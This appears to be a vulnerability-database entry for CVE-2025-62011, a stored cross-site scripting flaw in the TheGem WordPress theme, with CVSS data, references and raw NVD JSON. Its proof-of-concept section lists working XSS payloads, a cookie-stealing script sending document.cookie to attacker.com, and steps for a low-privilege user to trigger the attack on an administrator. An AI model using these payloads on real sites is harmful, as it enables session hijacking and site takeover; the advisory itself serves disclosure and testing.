CVE-2025-62011

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CodexThemes TheGem thegem.This issue affects TheGem: from n/a through <= 5.10.5.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

TheGem WordPress主题 <= 5.10.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Stored XSS PoC for CVE-2025-62011 -->
<!-- Inject in page title, custom content, or gallery description -->

<!-- Method 1: Image onerror event handler -->
<img src=x onerror=alert(document.cookie)>

<!-- Method 2: SVG element with script -->
<svg onload=alert(document.domain)>

<!-- Method 3: Body onerror -->
<body onerror=alert(localStorage.getItem('auth'))>

<!-- Method 4: Iframe with javascript protocol -->
<iframe src="javascript:alert(document.cookie)">

<!-- Real-world attack payload example -->
<script>
  // Steal session cookies and send to attacker server
  fetch('https://attacker.com/steal?c=' + encodeURIComponent(document.cookie))
</script>

<!-- To test: -->
<!-- 1. Login as low-privilege user (subscriber/contributor) -->
<!-- 2. Create/edit a page/post using TheGem elements -->
<!-- 3. Insert one of the above payloads in a text field -->
<!-- 4. Save and publish -->
<!-- 5. When admin visits the page, XSS will be triggered -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62011
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62011
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62011/
[4] VulDB https://vuldb.com/cve/CVE-2025-62011
[5] https://patchstack.com/database/Wordpress/Theme/thegem/vulnerability/wordpress-thegem-theme-5-10-5-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62011", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:07.970", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CodexThemes TheGem thegem.This issue affects TheGem: from n/a through <= 5.10.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/thegem/vulnerability/wordpress-thegem-theme-5-10-5-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}